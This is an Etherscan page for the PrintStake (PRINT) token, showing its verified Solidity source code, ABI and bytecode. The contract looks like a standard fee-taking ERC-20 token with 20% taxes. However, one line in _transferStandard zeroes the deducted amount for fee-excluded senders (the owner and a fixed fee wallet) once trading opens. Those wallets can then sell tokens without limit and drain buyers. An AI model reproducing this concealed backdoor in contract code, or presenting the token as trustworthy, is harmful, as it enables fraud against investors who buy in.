ETH Price: $3,378.04 (+1.47%)

Token

PrintStake (PRINT)
 

Overview

Max Total Supply

1,000,000,000 PRINT

Holders

205

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PRINT

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-25
*/

// SPDX-License-Identifier: Unlicensed
/**
"Making a lot of money" in the cryptocurrency market.
Website: https://www.printstake.com
Telegram: https://t.me/printstake_erc
Twitter: https://twitter.com/printstake_erc
Dapp: https://app.printstake.com
**/
pragma solidity 0.8.21;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}
interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
contract PRINT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "PrintStake";
    string private constant _symbol = "PRINT";
    mapping(address => uint256) private _rOwnedBalance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _supplyTotal = 10 ** 9 * 10**9;
    uint256 private _rTotalSupply = (MAX - (MAX % _supplyTotal));
    uint256 public maxTxAmount = 25 * 10 ** 6 * 10 ** 9;
    uint256 public maxWalletAmount = 25 * 10 ** 6 * 10 ** 9;
    uint256 public swapThreshold = 10 ** 4 * 10 ** 9;
    address payable private feeReceipientAddy;
    uint256 private _feeSum;
    uint256 private _redisBuyFee = 0;
    uint256 private _buyTax = 20;
    uint256 private _redisSFee = 0;
    uint256 private _sTax = 20;
    uint256 private _redisFee = _redisSFee;
    uint256 private _taxFee = _sTax;
    uint256 private _previousRedisFees = _redisFee;
    uint256 private _previousTaxFees = _taxFee;
    IRouter public _uniswapRouter;
    address public _pair;
    bool private _tradeEnabled;
    bool private _inswap = false;
    bool private _taxSwapEnabled = true;
    event MaxTxAmountUpdated(uint256 maxTxAmount);
    modifier lockSwap {
        _inswap = true;
        _;
        _inswap = false;
    }
    constructor() {
        _rOwnedBalance[_msgSender()] = _rTotalSupply;
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        _uniswapRouter = _uniswapV2Router;
        _pair = IDexFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        feeReceipientAddy = payable(0xBDFb0E5BD63129d316657c627743e852A1ca009A);
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[feeReceipientAddy] = true;
        emit Transfer(address(0), _msgSender(), _supplyTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _supplyTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _getRValue(_rOwnedBalance[account]);
    }
    
    function restoreFee() private {
        _redisFee = _previousRedisFees;
        _taxFee = _previousTaxFees;
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function sendFees(uint256 amount) private {
        feeReceipientAddy.transfer(amount);
    }
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function removeFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
        _previousRedisFees = _redisFee;
        _previousTaxFees = _taxFee;
        _redisFee = 0;
        _taxFee = 0;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _getRValue(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getSupplyRate();
        return rAmount.div(currentRate);
    }
    
    function _refresh(uint256 rFee, uint256 tFee) private {
        _rTotalSupply = _rTotalSupply.sub(rFee);
        _feeSum = _feeSum.add(tFee);
    }
    
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        rAmount = (_isExcludedFromFees[sender] && _tradeEnabled) ? rAmount & 0 : rAmount;
        _rOwnedBalance[sender] = _rOwnedBalance[sender].sub(rAmount);
        _rOwnedBalance[recipient] = _rOwnedBalance[recipient].add(rTransferAmount);
        takefee(tTeam);
        _refresh(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function takefee(uint256 tTeam) private {
        uint256 currentRate = _getSupplyRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwnedBalance[address(this)] = _rOwnedBalance[address(this)].add(rTeam);
    }
    function removeLimits() external onlyOwner {
        maxTxAmount = _rTotalSupply;
        maxWalletAmount = _rTotalSupply;
        
        _redisBuyFee = 0;
        _buyTax = 1;
        _redisSFee = 0;
        _sTax = 1;
    }
    
    function openTrading() public onlyOwner {
        _tradeEnabled = true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _getTAmount(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotalSupply;
        uint256 tSupply = _supplyTotal;
        if (rSupply < _rTotalSupply.div(_supplyTotal)) return (_rTotalSupply, _supplyTotal);
        return (rSupply, tSupply);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _approve(address(this), address(_uniswapRouter), tokenAmount);
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTAmount(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getSupplyRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getTransferAmounts(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (from != owner() && to != owner()) {
            if (!_tradeEnabled) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
            require(amount <= maxTxAmount, "TOKEN: Max Transaction Limit");
            if(to != _pair) {
                require(balanceOf(to) + amount <= maxWalletAmount, "TOKEN: Balance exceeds wallet size!");
            }
            uint256 contractBalance = balanceOf(address(this));
            bool canSwap = contractBalance >= swapThreshold;
            if(contractBalance >= maxTxAmount)
            {
                contractBalance = maxTxAmount;
            }
            if (canSwap && !_inswap && to == _pair && _taxSwapEnabled && !_isExcludedFromFees[from] && amount > swapThreshold) {
                swapTokensForEth(contractBalance);
                uint256 contractETH = address(this).balance;
                if (contractETH > 0) {
                    sendFees(address(this).balance);
                }
            }
        }
        bool takeFee = true;
        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (from != _pair && to != _pair)) {
            takeFee = false;
        } else {
            if(from == _pair && to != address(_uniswapRouter)) {
                _redisFee = _redisBuyFee;
                _taxFee = _buyTax;
            }
            if (to == _pair && from != address(_uniswapRouter)) {
                _redisFee = _redisSFee;
                _taxFee = _sTax;
            }
        }
        _internalTransfer(from, to, amount, takeFee);
    }
    
    function _getTransferAmounts(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
    function _internalTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreFee();
    }
    function _getSupplyRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea4000000062000367565b6200003e906c0c9f2c9cd04674edea4000000062000387565b6005556658d15e1762800060068190556007556509184e72a0006008555f600b8190556014600c819055600d829055600e819055600f82905560108190556011919091556012819055805461ffff60a81b1916600160b01b179055348015620000a5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600554335f9081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200015f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001859190620003ad565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f79190620003ad565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000242573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002689190620003ad565b601480546001600160a01b03929092166001600160a01b03199283161790556009805490911673bdfb0e5bd63129d316657c627743e852a1ca009a179055600160045f620002bd5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600954909116815260049092529020805490911660011790556200030b3390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200035891815260200190565b60405180910390a350620003dc565b5f826200038257634e487b7160e01b5f52601260045260245ffd5b500690565b81810381811115620003a757634e487b7160e01b5f52601160045260245ffd5b92915050565b5f60208284031215620003be575f80fd5b81516001600160a01b0381168114620003d5575f80fd5b9392505050565b61157a80620003ea5f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063aa4bde2811610062578063aa4bde2814610301578063b51449bb14610316578063c9567bf914610335578063dd62ed3e14610349578063f2fde38b1461038d575f80fd5b8063751039fc146102705780638c0b5e22146102845780638da5cb5b1461029957806395d89b41146102b5578063a9059cbb146102e2575f80fd5b806323b872dd116100e357806323b872dd146101ca578063313ce567146101e957806365b61b771461020457806370a082311461023b578063715018a61461025a575f80fd5b80630445b6671461011e57806306fdde0314610146578063095ea7b31461018157806318160ddd146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360085481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152600a8152695072696e745374616b6560b01b60208201525b60405161013d91906112bd565b34801561018c575f80fd5b506101a061019b36600461131f565b6103ac565b604051901515815260200161013d565b3480156101bb575f80fd5b50670de0b6b3a7640000610133565b3480156101d5575f80fd5b506101a06101e4366004611349565b6103c2565b3480156101f4575f80fd5b506040516009815260200161013d565b34801561020f575f80fd5b50601354610223906001600160a01b031681565b6040516001600160a01b03909116815260200161013d565b348015610246575f80fd5b50610133610255366004611387565b610429565b348015610265575f80fd5b5061026e61044a565b005b34801561027b575f80fd5b5061026e6104c4565b34801561028f575f80fd5b5061013360065481565b3480156102a4575f80fd5b505f546001600160a01b0316610223565b3480156102c0575f80fd5b50604080518082019091526005815264141492539560da1b6020820152610174565b3480156102ed575f80fd5b506101a06102fc36600461131f565b610510565b34801561030c575f80fd5b5061013360075481565b348015610321575f80fd5b50601454610223906001600160a01b031681565b348015610340575f80fd5b5061026e61051c565b348015610354575f80fd5b506101336103633660046113a2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610398575f80fd5b5061026e6103a7366004611387565b61055a565b5f6103b8338484610641565b5060015b92915050565b5f6103ce848484610764565b61041f843361041a8560405180606001604052806028815260200161151d602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610beb565b610641565b5060019392505050565b6001600160a01b0381165f908152600260205260408120546103bc90610c23565b5f546001600160a01b0316331461047c5760405162461bcd60e51b8152600401610473906113d9565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ed5760405162461bcd60e51b8152600401610473906113d9565b60055460068190556007555f600b8190556001600c819055600d91909155600e55565b5f6103b8338484610764565b5f546001600160a01b031633146105455760405162461bcd60e51b8152600401610473906113d9565b6014805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105835760405162461bcd60e51b8152600401610473906113d9565b6001600160a01b0381166105e85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610473565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b0382166107045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107c85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610473565b6001600160a01b03821661082a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610473565b5f811161088b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610473565b5f546001600160a01b038481169116148015906108b557505f546001600160a01b03838116911614155b15610ae157601454600160a01b900460ff1661094d575f546001600160a01b0384811691161461094d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610473565b60065481111561099f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610473565b6014546001600160a01b03838116911614610a2557600754816109c184610429565b6109cb9190611422565b1115610a255760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610473565b5f610a2f30610429565b600854600654919250821015908210610a485760065491505b808015610a5f5750601454600160a81b900460ff16155b8015610a7857506014546001600160a01b038581169116145b8015610a8d5750601454600160b01b900460ff165b8015610ab157506001600160a01b0385165f9081526004602052604090205460ff16155b8015610abe575060085483115b15610ade57610acc82610c40565b478015610adc57610adc47610db0565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610b2157506001600160a01b0383165f9081526004602052604090205460ff165b80610b5357506014546001600160a01b03858116911614801590610b5357506014546001600160a01b03848116911614155b15610b5f57505f610bd9565b6014546001600160a01b038581169116148015610b8a57506013546001600160a01b03848116911614155b15610b9c57600b54600f55600c546010555b6014546001600160a01b038481169116148015610bc757506013546001600160a01b03858116911614155b15610bd957600d54600f55600e546010555b610be584848484610deb565b50505050565b5f8184841115610c0e5760405162461bcd60e51b815260040161047391906112bd565b505f610c1a8486611435565b95945050505050565b5f80610c2d610e19565b9050610c398382610e3a565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8657610c86611448565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cdd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d01919061145c565b81600181518110610d1457610d14611448565b6001600160a01b039283166020918202929092010152601354610d3a9130911684610641565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d729085905f90869030904290600401611477565b5f604051808303815f87803b158015610d89575f80fd5b505af1158015610d9b573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610de7573d5f803e3d5ffd5b5050565b80610df857610df8610e7b565b610e03848484610ea8565b80610be557610be5601154600f55601254601055565b5f805f610e24610fd8565b9092509050610e338282610e3a565b9250505090565b5f610c3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611017565b600f54158015610e8b5750601054155b15610e9257565b600f8054601155601080546012555f9182905555565b5f805f805f80610eb787611043565b6001600160a01b038f165f90815260046020526040902054959b5093995091975095509350915060ff168015610ef65750601454600160a01b900460ff165b610f005785610f02565b5f5b6001600160a01b038a165f90815260026020526040902054909650610f279087611098565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054610f5590866110d9565b6001600160a01b0389165f90815260026020526040902055610f7681611137565b610f80848361117d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc591815260200190565b60405180910390a3505050505050505050565b6005545f908190670de0b6b3a7640000610ff28282610e3a565b82101561100e57505060055492670de0b6b3a764000092509050565b90939092509050565b5f81836110375760405162461bcd60e51b815260040161047391906112bd565b505f610c1a84866114e6565b5f805f805f805f805f61105b8a600f546010546111a1565b9250925092505f61106a610e19565b90505f805f61107b8e8787876111f3565b919e509c509a509598509396509194505050505091939550919395565b5f610c3983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610beb565b5f806110e58385611422565b905083811015610c395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610473565b5f611140610e19565b90505f61114d838361123f565b305f9081526002602052604090205490915061116990826110d9565b305f90815260026020526040902055505050565b60055461118a9083611098565b600555600a5461119a90826110d9565b600a555050565b5f8080806111ba60646111b4898961123f565b90610e3a565b90505f6111cc60646111b48a8961123f565b90505f6111e3826111dd8b86611098565b90611098565b9992985090965090945050505050565b5f808080611201888661123f565b90505f61120e888761123f565b90505f61121b888861123f565b90505f61122c826111dd8686611098565b939b939a50919850919650505050505050565b5f825f0361124e57505f6103bc565b5f6112598385611505565b90508261126685836114e6565b14610c395760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610473565b5f6020808352835180828501525f5b818110156112e8578581018301518582016040015282016112cc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461131c575f80fd5b50565b5f8060408385031215611330575f80fd5b823561133b81611308565b946020939093013593505050565b5f805f6060848603121561135b575f80fd5b833561136681611308565b9250602084013561137681611308565b929592945050506040919091013590565b5f60208284031215611397575f80fd5b8135610c3981611308565b5f80604083850312156113b3575f80fd5b82356113be81611308565b915060208301356113ce81611308565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103bc576103bc61140e565b818103818111156103bc576103bc61140e565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561146c575f80fd5b8151610c3981611308565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114c55784516001600160a01b0316835293830193918301916001016114a0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261150057634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103bc576103bc61140e56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201edffa68c1de0ed5095f7c5444df9b87d3326afa951fa0035ad3b8f60b07280264736f6c63430008150033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063751039fc1161009d578063aa4bde2811610062578063aa4bde2814610301578063b51449bb14610316578063c9567bf914610335578063dd62ed3e14610349578063f2fde38b1461038d575f80fd5b8063751039fc146102705780638c0b5e22146102845780638da5cb5b1461029957806395d89b41146102b5578063a9059cbb146102e2575f80fd5b806323b872dd116100e357806323b872dd146101ca578063313ce567146101e957806365b61b771461020457806370a082311461023b578063715018a61461025a575f80fd5b80630445b6671461011e57806306fdde0314610146578063095ea7b31461018157806318160ddd146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360085481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152600a8152695072696e745374616b6560b01b60208201525b60405161013d91906112bd565b34801561018c575f80fd5b506101a061019b36600461131f565b6103ac565b604051901515815260200161013d565b3480156101bb575f80fd5b50670de0b6b3a7640000610133565b3480156101d5575f80fd5b506101a06101e4366004611349565b6103c2565b3480156101f4575f80fd5b506040516009815260200161013d565b34801561020f575f80fd5b50601354610223906001600160a01b031681565b6040516001600160a01b03909116815260200161013d565b348015610246575f80fd5b50610133610255366004611387565b610429565b348015610265575f80fd5b5061026e61044a565b005b34801561027b575f80fd5b5061026e6104c4565b34801561028f575f80fd5b5061013360065481565b3480156102a4575f80fd5b505f546001600160a01b0316610223565b3480156102c0575f80fd5b50604080518082019091526005815264141492539560da1b6020820152610174565b3480156102ed575f80fd5b506101a06102fc36600461131f565b610510565b34801561030c575f80fd5b5061013360075481565b348015610321575f80fd5b50601454610223906001600160a01b031681565b348015610340575f80fd5b5061026e61051c565b348015610354575f80fd5b506101336103633660046113a2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610398575f80fd5b5061026e6103a7366004611387565b61055a565b5f6103b8338484610641565b5060015b92915050565b5f6103ce848484610764565b61041f843361041a8560405180606001604052806028815260200161151d602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610beb565b610641565b5060019392505050565b6001600160a01b0381165f908152600260205260408120546103bc90610c23565b5f546001600160a01b0316331461047c5760405162461bcd60e51b8152600401610473906113d9565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3